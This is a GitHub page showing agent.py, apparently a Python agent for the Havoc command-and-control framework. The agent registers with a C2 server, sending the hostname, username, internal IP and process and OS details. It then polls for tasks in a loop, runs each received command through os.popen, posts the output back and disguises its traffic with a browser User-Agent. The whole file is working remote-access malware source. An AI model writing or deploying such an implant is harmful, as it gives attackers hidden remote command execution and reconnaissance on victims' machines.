-
Notifications
You must be signed in to change notification settings - Fork 16
/
agent.py
127 lines (108 loc) · 3.82 KB
/
agent.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
import requests
import json
import socket
import time
import os
import sys
import random
import string
import platform
url = 'http://127.0.0.1/test'
magic = b"\x41\x41\x41\x41"
agentid = 234234 # this values is changed later with a random one
user_agent = 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36'
def get_random_string(length):
# choose from all lowercase letter
letters = string.ascii_lowercase
result_str = ''.join(random.choice(letters) for i in range(length))
return result_str
def checkin(data):
print("Checking in for taskings")
requestdict = {"task":"gettask","data":data}
requestblob = json.dumps(requestdict)
size = len(requestblob) + 12
size_bytes = size.to_bytes(4, 'big')
agentheader = size_bytes + magic + agentid
headers = {'User-Agent': user_agent}
x = requests.post(url, headers=headers, data=agentheader+requestblob.encode("utf-8"))
for key, value in x.headers.items():
print(f"{key}: {value}")
if len(x.text) > 0:
print("Havoc response: " + x.text)
return x.text
def register():
# Register info:
# - AgentID : int [needed]
# - Hostname : str [needed]agenmt
# - Username : str [needed]
# - Domain : str [optional]
# - InternalIP : str [needed]
# - Process Path : str [needed]
# - Process Name : str [needed]
# - Process ID : int [needed]
# - Process Parent ID : int [optional]
# - Process Arch : str [needed]
# - Process Elevated : int [needed]
# - OS Build : str [needed]
# - OS Version : str [needed]
# - OS Arch : str [optional]
# - Sleep : int [optional]
hostname = socket.gethostname()
registerdict = {
"AgentID": str(agentid),
"Hostname": hostname,
"Username": os.getlogin(),
"Domain": "",
"InternalIP": socket.gethostbyname(hostname),
"Process Path": os.getcwd(),
"Process ID": str(os.getpid()),
"Process Parent ID": "0",
"Process Arch": "x64",
"Process Elevated": 0,
"OS Build": "NOT IMPLEMENTED YET",
"Sleep": 1,
"Process Name": "python",
"OS Version": str(platform.version())
}
registerblob = json.dumps(registerdict)
requestdict = {"task":"register","data":registerblob}
requestblob = json.dumps(requestdict)
size = len(requestblob) + 12
size_bytes = size.to_bytes(4, 'big')
agentheader = size_bytes + magic + agentid
print("[?] trying to register the agent")
headers = {'User-Agent': user_agent}
x = requests.post(url, headers=headers, data=agentheader+requestblob.encode("utf-8"))
for key, value in x.headers.items():
print(f"{key}: {value}")
print(x.text)
return str(x.text)
def runcommand(command):
command = command.strip("\x00")
if command == "goodbye":
sys.exit(2)
print(command)
output = os.popen(command).read() + "\n"
return output
def main():
global agentid
agentid = get_random_string(4).encode('utf-8')
agentheader = magic + agentid
sleeptime = 5
registered = ""
outputdata = ""
#register the agent
while registered != "registered":
registered = register()
print("REGISTERED!")
#checkin for commands
while True:
commands = checkin(outputdata)
outputdata = ""
if len(commands) > 4:
commandsarray = commands.split(commands[0:4])
for x in commandsarray:
outputdata += runcommand(x)
time.sleep(sleeptime)
if __name__ == "__main__":
main()